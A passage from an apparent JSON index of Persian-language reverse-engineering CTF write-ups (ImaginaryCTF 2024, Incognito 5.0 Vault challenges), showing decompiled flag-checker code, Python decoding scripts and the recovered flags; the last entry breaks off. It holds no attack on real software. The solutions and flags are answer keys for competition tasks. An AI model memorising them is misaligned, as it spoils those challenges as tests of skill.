\u0628\u0627\u0634\u0646\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u062c\u0647 \u0645\u06cc\u06a9\u0646\u0645 \u0645\u0642\u062f\u0627\u0631 \u0634\u0645\u0627\u0631\u0646\u062f\u0647\u200c\u0647\u0627\u06cc counter \u0641\u0642\u0637 \u062f\u0631 \u0627\u0646\u062f\u06cc\u0633\u200c\u0647\u0627\u06cc \u0641\u0631\u062f \u0622\u067e\u062f\u06cc\u062a \u0645\u06cc\u200c\u0634\u0646 \u0648 \u0628\u0627\u06cc\u062f \u062f\u0631 \u0631\u06cc\u0648\u0631\u0633 \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0631\u0648 \u0647\u0645 \u0644\u062d\u0627\u0638 \u06a9\u0646\u06cc\u0645. \u062d\u0627\u0644\u0627 \u0628\u0627 \u0627\u06cc\u0646 \u0641\u0631\u0627\u06cc\u0636\u060c \u06cc\u06a9 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0645\u06cc\u200c\u0646\u0648\u06cc\u0633\u06cc\u0645 \u06a9\u0647 \u0645\u0639\u06a9\u0648\u0633 \u0627\u06cc\u0646 \u0627\u0639\u0645\u0627\u0644 \u0631\u0627 \u0631\u0648\u06cc \u0631\u0634\u062a\u0647 \u0647\u06af\u0632 \u062e\u0631\u0648\u062c\u06cc \u06a9\u0647 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644 \u0627\u0648\u0645\u062f\u0647 \u0627\u0632 \u0622\u062e\u0631 \u0628\u0647 \u0627\u0648\u0644 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0647.

result = 'b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b'.split(',')\nlength = len(result)\nflag = ''\ncounter1 = (length // 2) % 6\ncounter2 = (length // 2) % 6\ntable1 = [82, 100, 113, 81, 84, 118]\ntable2 = [1, 3, 4, 2, 6, 5]\n\ndef is_alpha(c):\n    return c in 'abcdefghijklmnopqrstuvwxyz'\n\ndef is_other(c):\n    return c in '0123456789_{}'\n\nfor i in range(length-1, -1, -1):\n    x = int(result[i], 16)\n\n    if i % 2 == 0:\n        a1 = chr(((x << table2[counter2]) & 0xFF) | (x >> (8 - table2[counter2])))\n        x2 = table1[counter1] ^ x\n        a2 = chr(((x2 << 2) & 0xFF) | (x2 >> 6))\n        if is_alpha(a1) and (not is_other(a2)):\n            flag = a1 + flag\n        elif (not is_alpha(a1)) and is_other(a2):\n            flag = a2 + flag\n        elif is_alpha(a1) and is_other(a2):\n            flag = '?' + flag\n        else:\n            flag = '+' + flag\n    else:\n        a1 = chr(x ^ table1[counter1])\n        a2 = chr(((x << 6) & 0xFF) | (x >> 2))\n        if is_alpha(a1) and (not is_other(a2)):\n            flag = a1 + flag\n        elif (not is_alpha(a1)) and is_other(a2):\n            flag = a2 + flag\n        elif is_alpha(a1) and is_other(a2):\n            flag = '?' + flag\n        else:\n            flag = '+' + flag\n\n    if i % 2 == 0:\n        counter1 = (counter1 - 1) % 6\n        counter2 = (counter2 - 1) % 6\n\nprint(flag)\n

\u0628\u0639\u062f \u0627\u0632 \u0631\u0627\u0646 \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u06a9\u062f \u062e\u0631\u0648\u062c\u06cc \u0632\u06cc\u0631 \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u200c\u0622\u06cc\u062f: ictf{m?r3_than_1?way5_t0_c0n7r?l} \u062f\u0644\u06cc\u0644 \u0627\u06cc\u0646 \u06a9\u0647 \u062d\u0627\u0644\u062a\u200c\u0647\u0627\u06cc\u06cc \u0645\u062b\u0644 ? \u062f\u0631 \u0627\u06cc\u0646 \u062c\u0648\u0627\u0628 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u062f\u0631 \u0645\u0633\u06cc\u0631 \u0645\u0639\u06a9\u0648\u0633\u060c \u062d\u0631\u0648\u0641\u06cc \u06a9\u0647 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u0645\u06cc\u0634\u0646 \u0647\u0645 \u06cc\u06a9 \u062d\u0631\u0641 \u0627\u0644\u0641\u0628\u0627\u06cc\u06cc \u0642\u0627\u0628\u0644\u200c\u0642\u0628\u0648\u0644 \u0648 \u0647\u0645 \u06cc\u06a9 \u0639\u062f\u062f \u06cc\u0627 \u0646\u0645\u0627\u062f \u0642\u0627\u0628\u0644 \u0642\u0628\u0648\u0644 (\u0637\u0628\u0642 \u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644) \u0628\u0627\u0634\u0646\u062f \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u0627 \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644 \u06af\u0630\u0627\u0634\u062a\u06cc\u0645 \u06a9\u0647 \u0628\u0639\u062f\u0627 \u0628\u0627 \u062f\u06cc\u0628\u0627\u06af\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0686\u06a9 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u06a9\u062f\u0648\u0645 \u0627\u0632 \u062c\u0648\u0627\u0628\u200c\u0647\u0627 \u0628\u0647 \u06cc\u06a9 \u0641\u0644\u06af \u0645\u0646\u0637\u0642\u06cc \u0648 \u062f\u0631\u0633\u062a \u0645\u0646\u062c\u0631 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u0647 \u06a9\u0627\u0646\u062a\u06a9\u0633\u062a \u062a\u0639\u0644\u0642 \u0628\u06cc\u0634\u062a\u0631\u06cc \u062f\u0627\u0631\u0647. \u0627\u0648\u0644 \u0645\u0633\u06cc\u0631 \u0641\u0642\u0637 \u062f\u0648 \u062d\u0627\u0644\u062a \u0627\u0648\u0644 \u0634\u0631\u0637\u200c\u0647\u0627\u0631\u0648 \u0644\u062d\u0627\u0638 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f\u0645 \u0648\u0644\u06cc \u0628\u0627 \u0628\u0631\u062e\u0648\u0631\u062f\u0646 \u0628\u0647 \u0627\u0631\u0648\u0631 \u0648 \u0641\u0644\u06af\u200c\u0647\u0627\u06cc \u0646\u0627\u062e\u0648\u0627\u0646\u0627 \u0648 \u0628\u0639\u062f \u0627\u0632 \u062f\u06cc\u0628\u0627\u06af \u0645\u0634\u062e\u0635 \u0634\u062f \u0646\u06cc\u0627\u0632\u0647 \u06a9\u0647 \u0634\u0631\u0627\u06cc\u0637 \u06f3 \u0648 \u06f4 \u0647\u0645 \u0628\u0631\u0627\u06cc \u0645\u0634\u06a9\u0644\u0627\u062a \u0627\u062d\u062a\u0645\u0627\u0644\u06cc \u0647\u0646\u062f\u0644 \u06a9\u0646\u0645. \u0627\u0644\u0628\u062a\u0647 \u0634\u0631\u0637 \u06f4 \u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 \u0644\u062d\u0627\u0638 \u062a\u0626\u0648\u0631\u06cc \u0627\u0639\u0645\u0627\u0644 \u0627\u0646\u062c\u0627\u0645\u200c\u0634\u062f\u0647 \u0628\u0627\u0632\u06af\u0634\u062a\u200c\u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646 \u0648 \u0647\u06cc\u0686 \u0645\u0648\u0642\u0639 \u0628\u0647 \u062d\u0627\u0644\u062a\u06cc \u0646\u0645\u06cc\u062e\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u0646\u062a\u0648\u0646\u06cc\u0645 \u06cc\u06a9 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u062f\u0631\u0633\u062a \u0631\u0648 \u0628\u0627\u0632\u0633\u0627\u0632\u06cc \u06a9\u0646\u06cc\u0645\u060c \u0627\u062c\u0631\u0627 \u0646\u0645\u06cc\u0634\u0647.

\u0646\u0647\u0627\u06cc\u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u0627\u0646\u062a\u062e\u0627\u0628 \u062f\u0633\u062a\u06cc \u062d\u0631\u0648\u0641 \u0645\u0646\u0627\u0633\u0628 \u0628\u0631\u0627\u06cc \u0639\u0644\u0627\u0645\u062a \u0633\u0648\u0627\u0644\u200c\u0647\u0627 \u0628\u0647 \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645.

FLAG

ictf{m0r3_than_1_way5_t0_c0n7r0l}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["ImaginaryCTF","ImaginaryCTF-2024","Reverse"]},{"location":"reverse/writeups/Incognito_5.0/Vault/","title":"\u0686\u0627\u0644\u0634 Vault","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge0 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file challenge0\nchallenge0: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=050a91a2a787ea9b21439b9cae80e47848c472f7, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647.

\u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0686\u06cc\u0633\u062a\u061f

\u06cc\u06a9 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0628\u0631\u0639\u06a9\u0633 \u06cc\u06a9 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0639\u0645\u0644 \u0645\u06cc \u06a9\u0646\u062f! \u0628\u0627\u06cc\u0646\u0631\u06cc \u0647\u0627 \u0631\u0627 \u0645\u06cc \u06af\u06cc\u0631\u062f \u0648 \u0622\u0646\u0647\u0627 \u0631\u0627 \u0628\u0647 \u06a9\u062f \u0645\u0646\u0628\u0639 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f (\u0628\u0627 \u062f\u0631\u062c\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0645\u0648\u0641\u0642\u06cc\u062a \u0628\u0633\u062a\u0647 \u0628\u0647 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u060c \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631\u060c \u0632\u0628\u0627\u0646\u060c \u0645\u0639\u0645\u0627\u0631\u06cc\u060c \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0648 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0639\u0648\u0627\u0645\u0644 \u062f\u06cc\u06af\u0631).

\u0645\u0639\u0645\u0648\u0644\u0627 \u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 Hex-Rays \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

_DWORD ascii_values_1[26] = {105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, 95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125 };\n_BYTE flagArray_0[32];\n\n_BYTE *flag()\n{\n  int i;\n  for ( i = 0; i < 26; ++i )\n    flagArray_0[i] = ascii_values_1[i];\n  flagArray_0[26] = 0;\n  return flagArray_0;\n}\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  const char *v3;\n  const char *v4;\n  char s1[112];\n  printf(\"Enter the secret code: \");\n  __isoc99_scanf(\"%99s\", s1);\n  v3 = flag();\n  if ( !strcmp(s1, v3) )\n  {\n    puts(\"Access Granted!\");\n    v4 = flag();\n    puts(v4);\n  }\n  else\n  {\n    puts(\"Access Denied!\");\n  }\n  return 0;\n}\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u0645\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0627 \u062e\u0631\u0648\u062c\u06cc \u062a\u0627\u0628\u0639 flag \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u06a9\u0646\u0647. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0628\u06cc\u0627\u0631\u06cc\u0645

a = [105, 99, 116, 102, 123, 119, 101, 108, 99, 48, 109, 101, 95, 116, 48, \n     95, 114, 101, 118, 51, 114, 115, 49, 110, 103, 125]\nprint(''.join(map(chr, a)))\n
FLAG

ictf{welc0me_t0_rev3rs1ng}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/","title":"\u0686\u0627\u0644\u0634 Vault 2","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge1 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

$ file challenge1\nchallenge1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d15aa18d88517442ed4cf7a958d61093c455c645, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u062e\u0628 \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 \u0645\u0639\u0645\u0648\u0644\u0627 Hex-Rays(IDA Pro) \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0627\u06af\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0645\u0641\u0647\u0648\u0645 \u0628\u0648\u062f\u060c \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0633\u0627\u06cc\u0631 \u062f\u06cc\u06a9\u0627\u067e\u0627\u06cc\u0644\u0631 \u0647\u0627 \u0646\u06cc\u0632 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645. \u062e\u0628 \u067e\u0633 \u0628\u06cc\u0627\u06cc\u062f \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645:

__int64 __fastcall mysteryFunction(__int64 a1)\n{\n  __int64 result;\n  int i;\n\n  for ( i = 0; ; ++i )\n  {\n    result = *(unsigned __int8 *)(i + a1);\n    if ( !(_BYTE)result )\n      break;\n    *(_BYTE *)(i + a1) ^= (unsigned __int8)(i % 5) + 1;\n  }\n  return result;\n}\n\n_BOOL8 __fastcall checkFlag(const char *a1)\n{\n  char dest[128];\n  char s2[32];\n  qmemcpy(s2, \"hawb~w6q5dcn0[n2\", 16);\n  *(_QWORD *)&s2[15] = 0x7F73357C5C7B32LL;\n  strncpy(dest, a1, 0x80uLL);\n  mysteryFunction((__int64)dest);\n  return strncmp(dest, s2, 0x17uLL) == 0;\n}\n\n\nint __fastcall main(int argc, const char **argv, const char **envp)\n{\n  char v4[128];\n  puts(\"Enter the flag:\");\n  if ( (unsigned int)__isoc99_scanf(\"%127s\", v4) )\n  {\n    if ( checkFlag(v4) )\n      puts(\"Congratulations! You've solved the challenge.\");\n    else\n      puts(\"Incorrect flag. Try again!\");\n  }\n  return 0;\n}\n

\u062e\u0628 \u0627\u0632 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0645\u06cc\u062a\u0648\u0627\u0646 \u062f\u06cc\u062f \u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u0627\u0632 \u0645\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u067e\u0627\u0633 \u0645\u06cc\u062f\u0647 \u0628\u0647 \u062a\u0627\u0628\u0639 checkFlag \u0627\u0648\u0646\u062c\u0627 \u0648\u0631\u0648\u062f\u06cc \u0645\u0627 \u0628\u0647 \u062a\u0627\u0628\u0639 mysteryFunction \u067e\u0627\u0633 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0635 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647. \u062a\u0648 \u062a\u0627\u0628\u0639 mysteryFunction \u0645\u06cc\u0627\u062f \u0631\u0648 \u0631\u0634\u062a\u0647 \u0648\u0631\u0648\u062f\u06cc \u06cc\u06a9\u0633\u0631\u06cc xor \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647 \u0648 \u062e\u0631\u0648\u062c\u06cc\u0634 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u062f\u0647 \u0645\u06cc\u0634\u0647.

\u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062a\u0648 \u062e\u0631\u0648\u062c\u06cc IDA \u0631\u0634\u062a\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647 \u0645\u06cc\u0634\u0647 \u062f\u0631\u0633\u062a \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0648 \u0645\u06cc\u062a\u0648\u0627\u0646 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc BinaryNinja \u06a9\u0645\u06a9 \u06af\u0631\u0641\u062a.

uint64_t checkFlag(char* arg1)\n{\n    int64_t var_28;\n    __builtin_strcpy(&var_28, \"hawb~w6q5dcn0[n2{\\\\|5s\\x7f\");\n    void var_a8;\n    strncpy(&var_a8, arg1, 0x80);\n    mysteryFunction(&var_a8);\n    int32_t rax;\n    rax = strncmp(&var_a8, &var_28, 0x17) == 0;\n    return rax;\n}\n

"},{"location":"reverse/writeups/Incognito_5.0/Vault_2/#_3","title":"\u062d\u0644 \u0686\u0627\u0644\u0634","text":"

\u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc \u0632\u06cc\u0631 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u062f\u0631 \u0628\u06cc\u0627\u0631\u06cc\u0645

#s = b\"hawb~w6q5dcn0[n\" + bytes.fromhex('7F73357C5C7B32')[::-1]\ns = b\"hawb~w6q5dcn0[n2{\\\\|5s\\x7f\"\nfor i, c in enumerate(s):\n    print(chr(c^(i%5+1) ), end='')\n
FLAG

ictf{v4r1abl3_k3y_x0r}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/","title":"\u0686\u0627\u0644\u0634 Vault 3","text":"

\ud83d\udd17 \u062f\u0627\u0646\u0644\u0648\u062f \u0686\u0644\u0646\u062c

"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_1","title":"\u0646\u06af\u0627\u0647 \u0627\u0648\u0644\u06cc\u0647 \u0628\u0647 \u0633\u0648\u0627\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0642\u0637 \u0628\u0647 \u0645\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627 \u0646\u0627\u0645 challenge2 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u0647 \u0686\u06cc\u0632\u06cc \u0631\u0648\u0628\u0631\u0648 \u0647\u0633\u062a\u06cc\u0645 \u062f\u0633\u062a\u0648\u0631 file \u0631\u0648 \u0631\u0648\u0634 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645

file challenge2\nchallenge2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a3ba1b21304762fc03ba2e52b68d776218252022, for GNU/Linux 3.2.0, not stripped\n
"},{"location":"reverse/writeups/Incognito_5.0/Vault_3/#_2","title":"\u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9","text":"

\u062e\u0628 \u0645\u0634\u0627\u0628\u0647 \u0633\u0648\u0627\u0644 \u0642\u0628\u0644\u06cc \u0628\u0647\u0645\u0648\u0646 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc 64\u0628\u06cc\u062a\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0631\u0627 \u0647\u0645\u06cc\u0646 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0633\u0631\u0627\u063a \u062a\u062d\u0644\u06cc\u0644 \u0627\u0633\u062a\u0627\u062a\u06cc\u06a9 \u0645\u06cc\u0631\u06cc\u0645 \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0633\u0627\u06cc\u062a \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0646\u06cc dogbolt \u0633\u0639\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0645\u062f\u0646\u0638\u0631 \u0686\u0647 \u06a9\u0627\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647

\u0637\u0628\u0642 \u062a\u062c\u0631\u0628\u0647 \u0645\u0639\u0645\u0648\u0644\u0627 Hex-Rays(IDA Pro) \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0647\u0627\u06cc \u0628\u0647\u062a\u0631\u06cc \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062f\u0647\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u0628\u062a\u062f\u0627 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0622\u06cc\u062f\u0627 \u0646\u06af\u0627\u0647\u06cc \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0627\u06af\u0631 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06a9\u062f \u0646\u0627\u0645\u0641\u0647\u0648\u0645 \u0628\u0648\u062f\u060c \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc \u0633\u0627\u06cc\u0631 \u062f\u06cc\u06a9\u0627\u067e\u0627\u06cc\u0644\u0631 